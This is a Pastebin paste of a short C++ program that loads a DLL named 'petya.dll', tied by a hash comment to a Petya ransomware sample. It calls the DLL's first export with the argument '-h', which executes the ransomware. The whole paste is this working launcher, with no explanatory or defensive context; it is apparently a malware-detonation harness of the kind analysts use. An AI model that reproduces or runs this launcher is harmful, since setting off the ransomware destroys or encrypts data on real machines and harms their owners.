Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <Windows.h>
- #include <iostream>
- // Petya sample hash: 027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745
- typedef void(__cdecl *PETYAEXPORT)(LPCWSTR, DWORD, DWORD, DWORD);
- int main() {
- HMODULE hmodule = LoadLibraryA("petya.dll");
- if (!hmodule) {
- printf("Failed to load petya DLL.\n");
- return FALSE;
- }
- PETYAEXPORT petya_func = (PETYAEXPORT)GetProcAddress(hmodule, (LPCSTR)1);
- if (!petya_func) {
- printf("Failed to get address of export.\n");
- return FALSE;
- }
- (*petya_func)(L"-h", 0, 0, -1);
- printf("Succesfully called petya export.\n");
- system("pause");
- return TRUE;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement